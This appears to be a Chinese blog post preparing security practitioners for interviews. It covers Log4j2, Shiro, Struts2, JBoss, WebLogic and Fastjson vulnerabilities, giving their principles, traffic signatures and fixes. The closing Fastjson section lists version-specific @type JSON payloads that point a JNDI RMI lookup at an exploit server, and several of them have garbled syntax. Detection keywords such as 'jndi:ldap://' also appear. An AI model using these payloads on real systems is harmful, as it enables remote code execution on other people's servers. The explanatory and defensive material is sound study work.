apache&iis&nginx中间件解析漏洞
参考我之前的文章:护网HW面试—apache&iis&nginx中间件解析漏洞篇-CSDN博客
log4j2
漏洞原理:
该漏洞主要是由于日志在打印时当遇到${后,以:号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞
1.基于RMI的利用方式,JDK版本限制于 6u132、7u131、8u121 之前,在8u122及之后的版本中,加入了反序列化白名单,关闭JNDI远程类加载机制,关闭了RMI远程加载代码
2.基于LDAP的利用方式,JDK版本限制于 6u211、7u201、8u191、11.0.1 之前,在8u191版本中,Oracle对LDAP向量设置限制,发布了CVE-2018-3149、关闭JNFI远程类加载
漏洞利用原理和过程:https://www.cnblogs.com/hellobao/articles/17249334.html
Log4j 引入了 Lookup 接口来支持在日志输出时获取任意位置的 Java 对象。Lookup 接口是 Log4j 中的一个组件,可以理解为一种对象查找和获取机制。通过使用 Lookup 接口,Log4j 可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标。这种机制使得用户可以非常灵活地定制日志输出,可以获取并输出各种环境变量、系统属性、配置参数等信息。需要注意的是,Lookup 接口的一种实现方式是使用 JNDI(Java Naming and Directory Interface)来进行对象查找和获取。JNDI 是 Java 中提供的一种标准 API,用于访问各种命名和目录服务,比如获取数据库连接池、获取企业级 JavaBean 等。
在 Log4j 框架中,当处理日志消息时,会通过字符检测来查找特定的占位符(例如 ${})并将其替换为真实的内容。这就涉及到 Log4j 漏洞中的关键问题,即恶意用户可以构建特殊的日志消息,将恶意的表达式作为占位符,在解析时触发恶意行为。如果 Log4j 的配置允许使用 LDAP(轻量级目录访问协议)或 RMI(远程方法调用协议),那么在解析占位符时,Log4j 将执行远程服务的请求并获取返回结果。
这个漏洞使得攻击者能够利用恶意输入来执行任意的远程代码,从而导致服务器的应用程序受到攻击。恶意对象在被调用的过程中可能会获取敏感信息、执行恶意操作、导致服务器被入侵等严重后果。
如果在本地LDAP服务器上找不到,就会跳转到指定地址下载恶意类到本地,再调用Java的NamingManager.getObjectFactoryFromReference()方法,通过默认构造函数将其实例化,进而导致攻击代码中的静态代码块中的内容被执行,引发命令执行漏洞。
排查方法:
- pom版本检查
- 可以通过检查日志中是否存在“jndi:ldap://”、“jndi:rmi”、“dnslog.cn”等字符来发现可能的攻击行为。是否出现${}等。
- 检查日志中是否存在相关堆栈报错,堆栈里是否有JndiLookup、ldapURLContext、getObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。
修复方案:
- 更新log4j到2.17.0版本以上。该版本修复了漏洞,建议尽快升级。
- 通过配置 log4j2.xml 来限制日志文件的输出路径。攻击者通过该漏洞构造的日志消息会被写入一个恶意的JNDI URL,攻击者会利用该URL向远程服务器发送攻击代码,可以通过配置文件来限制日志文件的输出路径,从而避免受到攻击。
- 修改lookup接口
流量特征:
shiro
shiro一共爆出过多个漏洞
1、Shiro-550(CVE-2016-4437) (这是最经典的漏洞)
漏洞原理:
Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是:
获取rememberMe cookie ->base64 解码->AES解密(加密密钥硬编码)->反序列化(未作过滤处理)。但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生.硬编码是将数据直接嵌入到程序或其他可执行对象的源代码中。如果在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,那么就可能存在此漏洞。
2、Shiro-721
这个漏洞就是前面这个的演变,利用方式差不多
漏洞原理:
由于Apache Shiro cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后精⼼制作rememberMe来进⾏反序列化攻击。Tip:在1.2.4版本后,shiro已经更换AES-CBC为AES-GCM,无法再通过Padding Oracle 遍历 key
3、Shiro认证绕过漏洞(CVE-2020-1957)
漏洞原理:
在Apache Shiro 1.5.2以前的版本中,在使用Spring动态控制器时,攻击者通过构造`..;`这样的跳转,可以绕过Shiro中对目录的权限限制。
4、Shiro 身份验证绕过 (CVE-2020-13933)
漏洞原理:
Apache Shiro身份验证绕过漏洞CVE-2020-11989的修复补丁存在缺陷,在1.5.3及其之前的版本,由于shiro在处理url时与spring仍然存在差异,依然存在身份校验绕过漏洞由于处理身份验证请求时出错,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。
面试一般只会问前面两种,因为可以rce的都是高危。
流量特征:
1、请求包Cookie的rememberMe中会存在AES+base64加密的一串java反序列化代码。
2、返回包中存在大量base64加密数据,该数据可作为攻击成功的判定条件。rememberme字段长度异常
shrio550和721的区别
1、主要区别在于Shiro550使用已知默认密码,只要有足够的密码,不需要Remember Cookie(秘钥是固定的)硬编码导致密钥可以被爆破,然后利用密钥进行解密和反序列化构建payload。
2、Shiro721的ase加密的key为系统随机生成,没有了硬编码,需要利用登录后的rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀(因为使用的是CBC编码所以可以爆破,这是aes加密方式),再去构造反序列化攻击。(秘钥不固定了但是可以爆破需要一个普通的用户cookie)
3、观察服务器响应。如果服务器返回了异常错误的信息,如java反序列化,可能表明攻击成功。分析应用程序的日志。如果日志中出现了异常堆栈跟踪,可能表明攻击成功。
struts2
历史漏洞相当多
【渗透测试】Struts2系列漏洞_struts2漏洞-CSDN博客
只列一些漏洞
1、S2-001(OGNL 循环解析导致的 RCE 漏洞)
漏洞原理:
该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
影响版本:
Struts 2.0.0 - 2.0.8
2、S2-005(S2-003 的绕过)
漏洞原理:
s2-005漏洞源于S2-003(受影响版本:低于Struts 2.0.12),struts2会将 http 的每个参数名解析为 OGNL 语句执行(可理解为java代码)。OGNL表达式通过#来访问 Struts 的对象,Struts框架通过过滤#字符防止安全问题,然而通过 unicode 编码(\u0023)或8进制(\43)就可以绕过安全限制。
对于S2-003漏洞,官方通过增加安全配置即沙盒机制(禁止静态方法allowStaticMethodAcces、MethodAccessor.denyMethodExecution调用和类方法执行等)来修补,但是攻击者可以利用OGNL表达式将 allowStaticMethodAccess设置为true,MethodAccessor.denyMethodExecution设置为false,就可以绕过这个沙盒机制导致S2-005漏洞。
S2-005漏洞是对S2-003漏洞补丁的绕过。
影响版本:
Struts 2.0.0 - Struts 2.1.8.1
影响版本:
Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10
3、S2-053
漏洞原理:
Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
影响版本:
Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10
基本都是使用ognl表达式注入导致的rce,只有S2-053有点区别
流量特征:
1、在请求头中存在OGNL表达式,一般在ur|中会出现的攻击特征主要是:.action?method!?redirect:$、在data中出现的攻击特征主要有:#context、:# memberAccess 、${#context等、在content-type中出现%{#context
2、检査请求中是否包含"Content-Type"头字段,并且值为"application/x-www-form-urlencoded",这是 Struts2 框架默认的 Content-Type 值,用于处理 POST 请求;
3、检査请求参数中是否包含OGNL表达式,如"${}"、"%{}"、"@"等字符;
4、检查请求是否包含一个名为"class"的参数,值为"java.lang.Runtime",这个参数可以用于执行系统命令
5、检测请求是否出现unicode编码或8进制编码的内容 ,检测响应包中是否出现命令执行的结果比如root
6、另外鉴别是否是Struts可以通过看访问的路径是否是.action和.do结尾。看http响应头里面是否写了Struts框架的字段。
Jboss
爆出挺多的漏洞,重点讲高危的
1、jboss 代码执行 (CVE-2017-12149)
影响版本:
JBoss 5.x/6.x
漏洞原理:
在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码
该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码
验证漏洞:
访问 /invoker/readonly 如果返回500,说明此页面就可能存在反序列化漏洞。
修复建议:
版本升级,不需要 http-invoker.sar 组件的用户可直接删除此组件,对 http invoker 组件进行访问控制
2、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
影响版本:
漏洞原理:
JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。
漏洞验证:
访问网站页面/invoker/JMXInvokerServlet页面如果弹出下载JMXInvokerServlet文件的页面,则证明存在漏洞
修复建议:
版本升级,不需要 http-invoker.sar 组件的用户可直接删除此组件,对 http invoker 组件进行访问控制
3、JBoss EJBInvokerServlet 反序列化漏洞
影响版本:
漏洞原理:
此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于JMXInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而EJBInvokerServlet利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
漏洞验证:
访问路径/invoker/EJBInvokerServlet,是否出现下载页面
4、JBossMQJMS 反序列化漏洞(CVE-2017-7504)
漏洞原理:
JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
漏洞验证:
访问/jbossmq-httpil/HTTPServerILServlet,返回This is the JBossMQ HTTP-IL,说明存在反序列化漏洞。
更多漏洞参考:JBoss历史漏洞汇总与复现_cve-2015-7501-CSDN博客
流量特征
1、查看请求的URl是否是/invoker/readonly,/invoker/JMXInvokerServlet,/invoker/EJBInvokerServlet,/jbossmqhttpli/httpservserilservlet等页面,同时查看是否出现符合漏洞的响应包像500状态码,堆栈报错页面返回了一些敏感信息比如root。
2、请求体有conllection.map.LazyMap、keyvalue.TiedMapEntry攻击链并且有明显的命令执行行为比如whoami
Weblogic
主将危害大的和经典的,其他的大多是未授权,绕过补丁之类的
1、CVE-2018-2628 (反序列化漏洞)
影响版本:
weblogic 10.3.6.0-12.2.1.3
漏洞原理:
Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令(t3协议就是weblogic的rmi所使用的协议)
T3协议:
用于在Weblogic服务器和其他类型的Java程序之间传输信息的协议。Weblogic会跟踪连接到应用程序的每个Java虚拟机,要将流量传输到Java虚拟机,Weblogic会创建一个T3连接。该链接会通过消除在网络之间的多个协议来最大化效率,从而使用较少的操作系统资源。用于T3连接的协议还可以最大限度减少数据包大小,提高传输速度。
漏洞验证:
查看是否开启了T3协议,可以使用namp的脚本来进行检测。(nmap -T4 -sV -O -p 7001 --script weblogic-t3-info 192.168.0.152)
漏洞修复:
控制T3协议的访问权限来临时阻断漏洞利用
2、CVE-2017-10271(远程代码执行xmldecoder反序列化)
影响版本:
10.3.6.0-12.2.1.2
漏洞原理:
WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击。
漏洞验证:
访问漏洞触发url:/wls-wsat/CoordinatorPortType(POST)。主要是由于wls组件使用了webservice来请求soap请求,所以通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞,可导致执行任意命令。
(在weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法中,当localHeader1和localHeader2都不为null时,将会把work:WorkContext所包含的数据传入weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld方法。在此方法中,对WorkContextXmlInputAdapter类进行了实例化,并调用WorkContextXmlInputAdapter类的构造方法,通过XMLDecoder()进行反序列化操作。这里的work:WorkContext是最关键的。)
修复建议:
临时解决方案根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件
流量特征
1、基于xml的反序列化一般服务器开放7001端口 传递xml数据到wls-wsat 数据包内容有bash或者dnslog字段,流量中有明显的java代码项java.lang以及要执行的shell命令,访问了/wls-wsat/CoordinatorPortType
2、对于基于T3的就是看t3协议的数据包,里面有weblogic的一些字,然后就是一些java中才会有的什么java.lang
Fastjson
这个漏洞的利用比较复杂:参考:https://www.cnblogs.com/huim/p/16566911.html
流量特征
1、在类中使用了json.parse()反序列化了恶意代码造成了任意代码执行,流量特征: json autotype
2、请求体出现@type,rmi
3、还有commit值为true
修复建议:
默认不开启autotype功能
只调用缓存中的类
不出网打法:
#目前公开已知的poc有两个:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.tomcat.dbcp.dbcp2.BasicDataSource
#第一种利用方式需要一个特定的触发条件:
解析JSON的时候需要使用Feature才能触发,参考如下代码:JSONObject.parseObject(sb.toString(), new Feature[] {Feature.SupportNonPublicField});
#第二种利用方式:
则需要应用部署在Tomcat应用环境中,因为Tomcat应用环境自带tomcat-dbcp.jar 对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat- dbcp。
而且对于不同的Tomcat版本使用的poc也不同:
Tomcat 8.0以后使用
org.apache.tomcat.dbcp.dbcp2.BasicDataSource• Tomcat
8.0以下使用 org.apache.tomcat.dbcp.dbcp.BasicDataSource
POC
1224
{"b":{"@type":"com.sun.rowset.JdbcRowSetlmpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetlmpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
.2.41
{"@type":"Lcom.sun.rowset.RowSetlmpl;" "dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetlmpl;,","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetlmp!"{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}
1.2.45
"@type":"org.apache.ibatis.datasource.indiJndiDataSourceFactory" "properties"."data source":"rmi://localhost:1099/Exploit"}}
1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetlmpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetlmpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}
1.2.80
"@type":"java.lang.Exception""
注:此漏洞相关信息都是从网上收集整理后再根据自己思考后进行的总结,如果有地方写错了麻烦指正。